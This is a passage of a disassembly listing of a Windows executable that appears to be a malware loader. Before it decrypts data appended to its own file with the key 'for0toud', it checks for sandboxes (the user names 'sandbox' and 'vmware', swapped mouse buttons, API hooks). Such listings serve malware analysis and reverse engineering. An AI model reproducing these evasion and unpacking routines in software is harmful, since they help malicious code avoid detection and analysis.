mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
jmp short loc_402977
; ---------------------------------------------------------------------------
loc_4029A4: ; CODE XREF: sub_402910:loc_40296Bj
; sub_402910+63j ...
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_402910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4029B0 proc near ; CODE XREF: start:loc_40307Fp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, dword_4052E0
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0FFFFFFE8h
jz short loc_4029D2
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 0FFFFFFE9h
jnz short loc_4029DC
loc_4029D2: ; CODE XREF: sub_4029B0+15j
mov eax, 1
jmp loc_402C0C
; ---------------------------------------------------------------------------
loc_4029DC: ; CODE XREF: sub_4029B0+20j
mov edx, dword_4052C0
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 0FFFFFFE8h
jz short loc_4029FB
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0FFFFFFE9h
jnz short loc_402A05
loc_4029FB: ; CODE XREF: sub_4029B0+3Ej
mov eax, 1
jmp loc_402C0C
; ---------------------------------------------------------------------------
loc_402A05: ; CODE XREF: sub_4029B0+49j
mov ecx, dword_405294
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0FFFFFFE8h
jz short loc_402A24
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0FFFFFFE9h
jnz short loc_402A2E
loc_402A24: ; CODE XREF: sub_4029B0+67j
mov eax, 1
jmp loc_402C0C
; ---------------------------------------------------------------------------
loc_402A2E: ; CODE XREF: sub_4029B0+72j
mov eax, dword_405298
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0FFFFFFE8h
jz short loc_402A4C
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 0FFFFFFE9h
jnz short loc_402A56
loc_402A4C: ; CODE XREF: sub_4029B0+8Fj
mov eax, 1
jmp loc_402C0C
; ---------------------------------------------------------------------------
loc_402A56: ; CODE XREF: sub_4029B0+9Aj
mov edx, dword_4052A8
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 0FFFFFFE8h
jz short loc_402A75
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0FFFFFFE9h
jnz short loc_402A7F
loc_402A75: ; CODE XREF: sub_4029B0+B8j
mov eax, 1
jmp loc_402C0C
; ---------------------------------------------------------------------------
loc_402A7F: ; CODE XREF: sub_4029B0+C3j
mov ecx, dword_40528C
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0FFFFFFE8h
jz short loc_402A9E
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0FFFFFFE9h
jnz short loc_402AA8
loc_402A9E: ; CODE XREF: sub_4029B0+E1j
mov eax, 1
jmp loc_402C0C
; ---------------------------------------------------------------------------
loc_402AA8: ; CODE XREF: sub_4029B0+ECj
mov eax, dword_4052AC
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0FFFFFFE8h
jz short loc_402AC6
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 0FFFFFFE9h
jnz short loc_402AD0
loc_402AC6: ; CODE XREF: sub_4029B0+109j
mov eax, 1
jmp loc_402C0C
; ---------------------------------------------------------------------------
loc_402AD0: ; CODE XREF: sub_4029B0+114j
mov edx, dword_4052B4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 0FFFFFFE8h
jz short loc_402AEF
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0FFFFFFE9h
jnz short loc_402AF9
loc_402AEF: ; CODE XREF: sub_4029B0+132j
mov eax, 1
jmp loc_402C0C
; ---------------------------------------------------------------------------
loc_402AF9: ; CODE XREF: sub_4029B0+13Dj
mov ecx, dword_4052BC
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0FFFFFFE8h
jz short loc_402B18
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0FFFFFFE9h
jnz short loc_402B22
loc_402B18: ; CODE XREF: sub_4029B0+15Bj
mov eax, 1
jmp loc_402C0C
; ---------------------------------------------------------------------------
loc_402B22: ; CODE XREF: sub_4029B0+166j
mov eax, dword_4052E4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0FFFFFFE8h
jz short loc_402B40
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 0FFFFFFE9h
jnz short loc_402B4A
loc_402B40: ; CODE XREF: sub_4029B0+183j
mov eax, 1
jmp loc_402C0C
; ---------------------------------------------------------------------------
loc_402B4A: ; CODE XREF: sub_4029B0+18Ej
mov edx, dword_4052D8
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 0FFFFFFE8h
jz short loc_402B69
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0FFFFFFE9h
jnz short loc_402B73
loc_402B69: ; CODE XREF: sub_4029B0+1ACj
mov eax, 1
jmp loc_402C0C
; ---------------------------------------------------------------------------
loc_402B73: ; CODE XREF: sub_4029B0+1B7j
mov ecx, dword_4052D0
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0FFFFFFE8h
jz short loc_402B92
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0FFFFFFE9h
jnz short loc_402B99
loc_402B92: ; CODE XREF: sub_4029B0+1D5j
mov eax, 1
jmp short loc_402C0C
; ---------------------------------------------------------------------------
loc_402B99: ; CODE XREF: sub_4029B0+1E0j
mov eax, dword_405290
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0FFFFFFE8h
jz short loc_402BB7
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 0FFFFFFE9h
jnz short loc_402BBE
loc_402BB7: ; CODE XREF: sub_4029B0+1FAj
mov eax, 1
jmp short loc_402C0C
; ---------------------------------------------------------------------------
loc_402BBE: ; CODE XREF: sub_4029B0+205j
mov edx, dword_4052F4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 0FFFFFFE8h
jz short loc_402BDD
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0FFFFFFE9h
jnz short loc_402BE4
loc_402BDD: ; CODE XREF: sub_4029B0+220j
mov eax, 1
jmp short loc_402C0C
; ---------------------------------------------------------------------------
loc_402BE4: ; CODE XREF: sub_4029B0+22Bj
mov ecx, dword_4052B8
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0FFFFFFE8h
jz short loc_402C03
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0FFFFFFE9h
jnz short loc_402C0A
loc_402C03: ; CODE XREF: sub_4029B0+246j
mov eax, 1
jmp short loc_402C0C
; ---------------------------------------------------------------------------
loc_402C0A: ; CODE XREF: sub_4029B0+251j
xor eax, eax
loc_402C0C: ; CODE XREF: sub_4029B0+27j
; sub_4029B0+50j ...
mov esp, ebp
pop ebp
retn
sub_4029B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402C10 proc near ; CODE XREF: start+A5p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
hObject = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
mov [ebp+var_18], 0
mov [ebp+var_4], 0
push 0 ; lpModuleName
call ds:GetModuleHandleA ; GetModuleHandleA
mov [ebp+hObject], eax
mov eax, [ebp+hObject]
mov [ebp+var_30], eax
mov ecx, [ebp+var_30]
mov edx, [ecx+3Ch]
mov eax, [ebp+hObject]
lea ecx, [eax+edx+4]
mov [ebp+var_20], ecx
mov edx, [ebp+var_20]
add edx, 14h
mov [ebp+var_24], edx
mov eax, [ebp+var_20]
xor ecx, ecx
mov cx, [eax+10h]
mov edx, [ebp+var_24]
add edx, ecx
mov [ebp+var_1C], edx
mov eax, [ebp+var_20]
xor ecx, ecx
mov cx, [eax+2]
sub ecx, 1
imul ecx, 28h
mov edx, [ebp+var_20]
xor eax, eax
mov ax, [edx+2]
sub eax, 1
imul eax, 28h
mov edx, [ebp+var_1C]
mov ecx, [edx+ecx+10h]
mov edx, [ebp+var_1C]
add ecx, [edx+eax+14h]
mov [ebp+var_10], ecx
mov eax, [ebp+hObject]
push eax ; hObject
call ds:CloseHandle ; CloseHandle
push 0 ; dwErrCode
call ds:SetLastError
push 0
push 80h
push 3
push 0
push 1
push 80000000h
mov ecx, [ebp+arg_0]
push ecx
call dword_4052C4
mov [ebp+var_2C], eax
call ds:GetLastError
test eax, eax
jnz short loc_402CCC
cmp [ebp+var_2C], 0FFFFFFFFh
jnz short loc_402CD0
loc_402CCC: ; CODE XREF: sub_402C10+B4j
xor al, al
jmp short loc_402D4E
; ---------------------------------------------------------------------------
loc_402CD0: ; CODE XREF: sub_402C10+BAj
lea edx, [ebp+var_28]
push edx
mov eax, [ebp+var_2C]
push eax
call dword_4052CC
mov ecx, [ebp+var_28]
cmp ecx, [ebp+var_10]
jbe short loc_402D41
mov edx, [ebp+var_28]
sub edx, [ebp+var_10]
mov [ebp+var_18], edx
push 1
mov eax, [ebp+var_18]
add eax, 1
push eax
call sub_401000
add esp, 8
mov [ebp+var_14], eax
push 0
push 0
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+var_2C]
push edx
call dword_4052F8
push 0
lea eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+var_2C]
push eax
call dword_4052B0
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_14]
mov [ecx], edx
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_18]
mov [eax], ecx
mov [ebp+var_4], 1
loc_402D41: ; CODE XREF: sub_402C10+D4j
mov edx, [ebp+var_2C]
push edx ; hObject
call ds:CloseHandle ; CloseHandle
mov al, [ebp+var_4]
loc_402D4E: ; CODE XREF: sub_402C10+BEj
mov esp, ebp
pop ebp
retn
sub_402C10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402D60 proc near ; CODE XREF: sub_402E00+E1p
; sub_402E00+102p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
mov edi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 0FFFFFFFFh
mov [ebp+var_8], ecx
push 1
mov eax, [ebp+var_8]
add eax, 1
push eax
call sub_401000
add esp, 8
mov [ebp+var_C], eax
mov [ebp+var_4], 0
jmp short loc_402D9F
; ---------------------------------------------------------------------------
loc_402D96: ; CODE XREF: sub_402D60:loc_402DE9j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_402D9F: ; CODE XREF: sub_402D60+34j
mov edx, [ebp+var_4]
cmp edx, [ebp+var_8]
jge short loc_402DEB
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 41h
jl short loc_402DD9
mov edx, [ebp+arg_0]
add edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 5Ah
jg short loc_402DD9
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
add edx, 20h
mov eax, [ebp+var_C]
add eax, [ebp+var_4]
mov [eax], dl
jmp short loc_402DE9
; ---------------------------------------------------------------------------
loc_402DD9: ; CODE XREF: sub_402D60+53j
; sub_402D60+61j
mov ecx, [ebp+var_C]
add ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
add edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
loc_402DE9: ; CODE XREF: sub_402D60+77j
jmp short loc_402D96
; ---------------------------------------------------------------------------
loc_402DEB: ; CODE XREF: sub_402D60+45j
mov eax, [ebp+var_C]
pop edi
mov esp, ebp
pop ebp
retn
sub_402D60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402E00 proc near ; CODE XREF: start:loc_40306Ap
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_112 = byte ptr -112h
var_111 = byte ptr -111h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
push ebp
mov ebp, esp
sub esp, 11Ch
push edi
mov [ebp+var_108], 104h
mov [ebp+var_104], 0
mov ecx, 40h
xor eax, eax
lea edi, [ebp+var_103]
rep stosd
stosw
stosb
lea eax, [ebp+var_108]
push eax
lea ecx, [ebp+var_104]
push ecx
call dword_4052E8
mov [ebp+var_10C], offset aCurrentuser ; "CurrentUser"
lea edx, [ebp+var_104]
mov [ebp+var_110], edx
loc_402E57: ; CODE XREF: sub_402E00+A7j
mov eax, [ebp+var_110]
mov cl, [eax]
mov [ebp+var_111], cl
mov edx, [ebp+var_10C]
cmp cl, [edx]
jnz short loc_402EB5
cmp [ebp+var_111], 0
jz short loc_402EA9
mov eax, [ebp+var_110]
mov cl, [eax+1]
mov [ebp+var_112], cl
mov edx, [ebp+var_10C]
cmp cl, [edx+1]
jnz short loc_402EB5
add [ebp+var_110], 2
add [ebp+var_10C], 2
cmp [ebp+var_112], 0
jnz short loc_402E57
loc_402EA9: ; CODE XREF: sub_402E00+76j
mov [ebp+var_118], 0
jmp short loc_402EC0
; ---------------------------------------------------------------------------
loc_402EB5: ; CODE XREF: sub_402E00+6Dj
; sub_402E00+90j
sbb eax, eax
sbb eax, 0FFFFFFFFh
mov [ebp+var_118], eax
loc_402EC0: ; CODE XREF: sub_402E00+B3j
mov ecx, [ebp+var_118]
mov [ebp+var_11C], ecx
cmp [ebp+var_11C], 0
jz short loc_402F17
push offset aSandbox ; "sandbox"
lea edx, [ebp+var_104]
push edx
call sub_402D60
add esp, 4
push eax
call sub_4028A0
add esp, 8
test eax, eax
jnz short loc_402F17
push offset aVmware ; "vmware"
lea eax, [ebp+var_104]
push eax
call sub_402D60
add esp, 4
push eax
call sub_4028A0
add esp, 8
test eax, eax
jz short loc_402F1B
loc_402F17: ; CODE XREF: sub_402E00+D3j
; sub_402E00+F4j
mov al, 1
jmp short loc_402F1D
; ---------------------------------------------------------------------------
loc_402F1B: ; CODE XREF: sub_402E00+115j
xor al, al
loc_402F1D: ; CODE XREF: sub_402E00+119j
pop edi
mov esp, ebp
pop ebp
retn
sub_402E00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402F30 proc near ; CODE XREF: start:loc_403055p
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3A = byte ptr -3Ah
var_39 = byte ptr -39h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 44h
push edi
mov [ebp+var_24], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp+var_23]
rep stosd
stosw
stosb
mov [ebp+var_2C], 1Fh
mov [ebp+var_4], 1
mov [ebp+var_28], 1
lea eax, [ebp+var_30]
push eax
push offset aControlPanelMo ; "Control Panel\\Mouse"
push 80000001h
call dword_4052DC
test eax, eax
jnz loc_403005
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_24]
push edx
lea eax, [ebp+var_4]
push eax
push 0
push offset aSwapmousebutto ; "SwapMouseButtons"
mov ecx, [ebp+var_30]
push ecx
call dword_4052A4
test eax, eax
jnz short loc_402FFB
mov [ebp+var_34], offset a0 ; "0"
lea edx, [ebp+var_24]
mov [ebp+var_38], edx
loc_402FA6: ; CODE XREF: sub_402F30+A8j
mov eax, [ebp+var_38]
mov cl, [eax]
mov [ebp+var_39], cl
mov edx, [ebp+var_34]
cmp cl, [edx]
jnz short loc_402FE3
cmp [ebp+var_39], 0
jz short loc_402FDA
mov eax, [ebp+var_38]
mov cl, [eax+1]
mov [ebp+var_3A], cl
mov edx, [ebp+var_34]
cmp cl, [edx+1]
jnz short loc_402FE3
add [ebp+var_38], 2
add [ebp+var_34], 2
cmp [ebp+var_3A], 0
jnz short loc_402FA6
loc_402FDA: ; CODE XREF: sub_402F30+89j
mov [ebp+var_40], 0
jmp short loc_402FEB
; ---------------------------------------------------------------------------
loc_402FE3: ; CODE XREF: sub_402F30+83j
; sub_402F30+9Aj
sbb eax, eax
sbb eax, 0FFFFFFFFh
mov [ebp+var_40], eax
loc_402FEB: ; CODE XREF: sub_402F30+B1j
mov ecx, [ebp+var_40]
mov [ebp+var_44], ecx
cmp [ebp+var_44], 0
jnz short loc_402FFB
mov [ebp+var_28], 0
loc_402FFB: ; CODE XREF: sub_402F30+67j
; sub_402F30+C5j
mov edx, [ebp+var_30]
push edx
call dword_4052EC
loc_403005: ; CODE XREF: sub_402F30+42j
mov al, [ebp+var_28]
pop edi
mov esp, ebp
pop ebp
retn
sub_402F30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 114h
push edi
mov [ebp+var_10C], 0
mov ecx, 40h
xor eax, eax
lea edi, [ebp+var_10B]
rep stosd
stosw
stosb
mov [ebp+var_8], 0
call sub_402150
call sub_401D60
and eax, 0FFh
test eax, eax
jnz short loc_403055
or eax, 0FFFFFFFFh
jmp loc_40311C
; ---------------------------------------------------------------------------
loc_403055: ; CODE XREF: start+3Bj
call sub_402F30
and eax, 0FFh
test eax, eax
jz short loc_40306A
xor eax, eax
jmp loc_40311C
; ---------------------------------------------------------------------------
loc_40306A: ; CODE XREF: start+51j
call sub_402E00
and eax, 0FFh
test eax, eax
jz short loc_40307F
xor eax, eax
jmp loc_40311C
; ---------------------------------------------------------------------------
loc_40307F: ; CODE XREF: start+66j
call sub_4029B0
test eax, eax
jz short loc_40308F
xor eax, eax
jmp loc_40311C
; ---------------------------------------------------------------------------
loc_40308F: ; CODE XREF: start+76j
push 104h
lea eax, [ebp+var_10C]
push eax
push 0
call dword_4052C0
lea ecx, [ebp+var_114]
push ecx
lea edx, [ebp+var_4]
push edx
lea eax, [ebp+var_10C]
push eax
call sub_402C10
add esp, 0Ch
and eax, 0FFh
test eax, eax
jz short loc_40311A
mov ecx, [ebp+var_114]
push ecx
mov edx, [ebp+var_4]
push edx
push offset aFor0toud ; "for0toud"
call sub_401050
add esp, 0Ch
mov [ebp+var_4], eax
lea eax, [ebp+var_110]
push eax
mov ecx, [ebp+var_114]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_4012B0
add esp, 0Ch
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
push eax ; int
push offset String2 ; lpString2
mov ecx, [ebp+var_110]
push ecx ; int
mov edx, [ebp+var_4]
push edx ; int
call sub_401CF0
add esp, 10h
loc_40311A: ; CODE XREF: start+B4j
xor eax, eax
loc_40311C: ; CODE XREF: start+40j start+55j ...
pop edi
mov esp, ebp
pop ebp
retn
start endp
; ---------------------------------------------------------------------------
align 100h
_text ends
; Section 2. (virtual address 00004000)
; Virtual size : 00000128 ( 296.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00004000
; Flags 40000040: Data Readable
; Alignment : default
;
; Imports from KERNEL32.dll
;
; ===========================================================================
; Segment type: Externs
; _idata
; HGLOBAL __stdcall GlobalAlloc(UINT uFlags, SIZE_T dwBytes)
extrn GlobalAlloc:dword ; CODE XREF: sub_401000+Fp
; DATA XREF: sub_401000+Fr
; HGLOBAL __stdcall GlobalFree(HGLOBAL hMem)
extrn GlobalFree:dword ; CODE XREF: sub_401040+7p
; DATA XREF: sub_401040+7r
; LPSTR __stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2)
extrn lstrcatA:dword ; CODE XREF: sub_4017A0+45p
; DATA XREF: sub_4017A0+45r
; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName)
extrn LoadLibraryA:dword ; CODE XREF: sub_4018E0+12p
; sub_401D60+19p ...
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
extrn FreeLibrary:dword ; CODE XREF: sub_401D60+3D6p
; DATA XREF: sub_401D60+3D6r
; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
extrn GetProcAddress:dword ; CODE XREF: sub_401D60+39p
; sub_401D60+4Dp ...
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
extrn GetModuleHandleA:dword ; CODE XREF: sub_401D60+Bp
; sub_402C10+13p
; DATA XREF: ...
; DWORD __stdcall GetLastError()
extrn GetLastError:dword ; CODE XREF: sub_402C10+ACp
; DATA XREF: sub_402C10+ACr
; void __stdcall SetLastError(DWORD dwErrCode)
extrn SetLastError:dword ; CODE XREF: sub_402C10+87p
; DATA XREF: sub_402C10+87r
; BOOL __stdcall CloseHandle(HANDLE hObject)
extrn CloseHandle:dword ; CODE XREF: sub_402C10+7Fp
; sub_402C10+135p
; DATA XREF: ...
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 404028h
dd 0
dd 4054h, 2 dup(0)
dd 411Ah, 4000h, 5 dup(0)
dd 4080h, 408Eh, 409Ch, 40A8h, 40B8h, 40C6h, 40D8h, 40ECh
dd 40FCh, 410Ch, 0
dd 6C4701F8h, 6C61626Fh, 6F6C6C41h, 1FF0063h, 626F6C47h
dd 72466C61h, 6565h, 736C03BDh, 61637274h, 4174h, 6F4C0252h
dd 694C6461h, 72617262h, 4179h, 724600F8h, 694C6565h, 72617262h
dd 1A00079h, 50746547h, 41636F72h, 65726464h, 7373h, 6547017Fh
dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470171h, 73614C74h
dd 72724574h, 726Fh, 65530328h, 73614C74h, 72724574h, 726Fh
dd 6C430034h, 4865736Fh, 6C646E61h, 454B0065h, 4C454E52h
dd 642E3233h, 6C6Ch, 36h dup(0)
_rdata ends
; Section 3. (virtual address 00005000)
; Virtual size : 00000301 ( 769.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00005000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 405000h
aFor0toud db 'for0toud',0 ; DATA XREF: sub_402150+Co
; sub_402150+44o ...
align 4
; char ModuleName[]
ModuleName db 'Ήι8―' ; DATA XREF: sub_401D60+6o
; sub_402150+7o ...
dd 235A3818h, 84h
; char asc_405018[]
asc_405018 db 'Ό' ; DATA XREF: sub_401D60+14o
; sub_402150+3Fo ...
db 0F8h, 2Eh, 0ADh
dd 7D0D7A11h, 0E06EF4C6h, 0
; char ProcName[]
ProcName db '' ; DATA XREF: sub_401D60+30o
; sub_402150+AFo ...
db 0F4h, 2Eh, 0B7h
dd 0E527701h, 0EF6DFC84h, 0
; char aB[]
aB db '' ; DATA XREF: sub_401D60+44o
; sub_402150+E7o ...
db 0F4h, 2Eh, 0B7h
dd 0E527701h, 0EF6DFC84h, 0C7F3h
; char aR[]
aR db '' ; DATA XREF: sub_401D60+58o
; sub_402150+11Fo ...
db 0F8h, 28h, 8Eh
dd 234B721Bh, 0E06BD68Dh, 8BF1D3h, 0D0C1h
; char aNN[]
aNN db 'κ',9,'' ; DATA XREF: sub_401D60+6Co
; sub_402150+157o ...
dd 194E7719h, 0C375F581h, 0E8FECD0h, 7110F8D0h, 0
; char aSq9j8[]
aSq9j8 db 'ο9¦8' ; DATA XREF: sub_401D60+80o
; sub_402150+18Fo ...
db 7Fh, 5Ch, 3Dh
dd 7BE289h
; char aFq9v[]
aFq9v db 'ο9’',0 ; DATA XREF: sub_401D60+94o
; sub_402150+1C7o ...
db 73h, 6Eh, 3Dh
dd 0FF67F387h, 0FEC5h
; char aR_0[]
aR_0 db '' ; DATA XREF: sub_401D60+A8o
; sub_402150+1FFo ...
db 0F8h, 28h, 97h
dd 2E5B641Ch, 0E26DD38Ch, 1992DAC2h, 0
; char aE[]
aE db '
' ; DATA XREF: sub_401D60+BCo
; sub_402150+237o ...
db 0F8h, 3Dh, 0A7h
dd 2C516424h, 0C171E38Dh, 1F85D2D3h, 0DDh
; char aB_0[]
aB_0 db '' ; DATA XREF: sub_401D60+D0o
; sub_402150+26Fo ...
db 0F4h, 2Eh, 0B7h
dd 1E527701h, 0F570F59Dh, 0C7F3h
; char aB_1[]
aB_1 db '' ; DATA XREF: sub_401D60+E4o
; sub_402150+2A7o ...
db 0F4h, 2Eh, 0B7h
dd 1F527701h, 0E976FF9Ah, 15AFCBD5h, 0
; char aAq5[]
aAq5 db 'ο5·' ; DATA XREF: sub_401D60+F8o
; sub_402150+2DFo ...
dd 204C4611h, 0FF71F58Bh, 287DAFBh, 0E8D6h
; char aD[]
aD db '' ; DATA XREF: sub_401D60+10Co
; sub_402150+317o ...
db 0F8h, 28h, 97h
dd 2E5B641Ch, 0E26DD38Ch, 1992DAC2h, 0
; char aE_0[]
aE_0 db '
' ; DATA XREF: sub_401D60+120o
; sub_402150+34Fo ...
db 0F8h, 2Fh, 0B6h
dd 276A7319h, 0E863F59Ah, 0
; char aF[]
aF db '' ; DATA XREF: sub_401D60+134o
; sub_402150+387o ...
db 0F1h, 33h, 0B0h
dd 215F5E11h, 67FC8Ch
; char aG[]
aG db '' ; DATA XREF: sub_401D60+148o
; sub_402150+3BFo ...
db 0F8h, 2Eh, 0AEh
dd 3B5F781Dh, 0E370C08Dh, 1E99DAD5h, 0
; char aB_2[]
aB_2 db '' ; DATA XREF: sub_401D60+15Co
; sub_402150+3F7o ...
db 0F4h, 2Eh, 0B7h
dd 9527701h, 67F59Ah
; char aD_1[]
aD_1 db '' ; DATA XREF: sub_401D60+198o
; sub_402150+49Fo ...
db 0F1h, 39h, 0A6h
dd 4
; char aD_0[]
aD_0 db '' ; DATA XREF: sub_401D60+184o
; sub_402150+42Fo ...
db 0F8h, 28h, 8Fh
dd 235F751Bh, 0E96FF9BCh, 0
; char aR_1[]
aR_1 db '' ; DATA XREF: sub_401D60+170o
; sub_402150+467o ...
db 0F8h, 28h, 8Fh
dd 235F751Bh, 0E96FF9BCh, 0
; char aEs0aNNuqM[]
aEs0aNNuqM db '
ι0',1Bh,'{N=γqΞΓΩ',8,'Φ',0 ; DATA XREF: sub_401D60+1ACo
; sub_402150+4D7o ...
align 4
; char aEs0z[]
aEs0z db '
ι0' ; DATA XREF: sub_401D60+1C0o
; sub_402150+50Fo ...
dd 22517511h, 0FF67E298h, 0B9FFDC5h, 0DF4C2h
; char aEs0d[]
aEs0d db '
ι0' ; DATA XREF: sub_401D60+1D4o
; sub_402150+547o ...
dd 207D6211h, 0E970E085h, 283CCC5h, 6D10C6CAh, 7E5F3Ch
dd 0FCD8B603h, 373h
; char aFq9v_0[]
aFq9v_0 db 'ο9’',0 ; DATA XREF: sub_401D60+1E8o
; sub_402150+57Fo ...
db 73h, 78h, 26h
dd 43F584h
; char aE_1[]
aE_1 db '
' ; DATA XREF: sub_401D60+1FCo
; sub_402150+5B7o ...
db 0F8h, 3Dh, 0A7h
dd 2A527F32h, 0
; char aR_2[]
aR_2 db '' ; DATA XREF: sub_401D60+224o
; sub_402150+5EFo ...
db 0F8h, 28h, 85h
dd 1C5B7A1Dh, 0C967EA81h, 0CEh
; char aD_2[]
aD_2 db '' ; DATA XREF: sub_401D60+210o
; sub_402150+627o ...
db 0F8h, 28h, 85h
dd 1F5B7A1Dh, 0F86CF987h, 0CDD3h
; char asc_4051E8[]
asc_4051E8 db 'Ά' ; DATA XREF: sub_401D60+22o
; sub_402150+77o ...
db 0F9h, 2Ah, 0A2h
dd 7D0D7F04h, 0E06EF4C6h, 0
; char aR_3[]
aR_3 db '' ; DATA XREF: sub_401D60+238o
; sub_402150+65Fo ...
db 0F8h, 28h, 96h
dd 14C7307h, 0CD67FD89h, 0
; char aE_2[]
aE_2 db '
' ; DATA XREF: sub_401D60+24Co
; sub_402150+697o ...
db 0F8h, 3Bh, 8Ch
dd 4507304h, 43E98Dh
; char aE_3[]
aE_3 db '
' ; DATA XREF: sub_401D60+260o
; sub_402150+6CFo ...
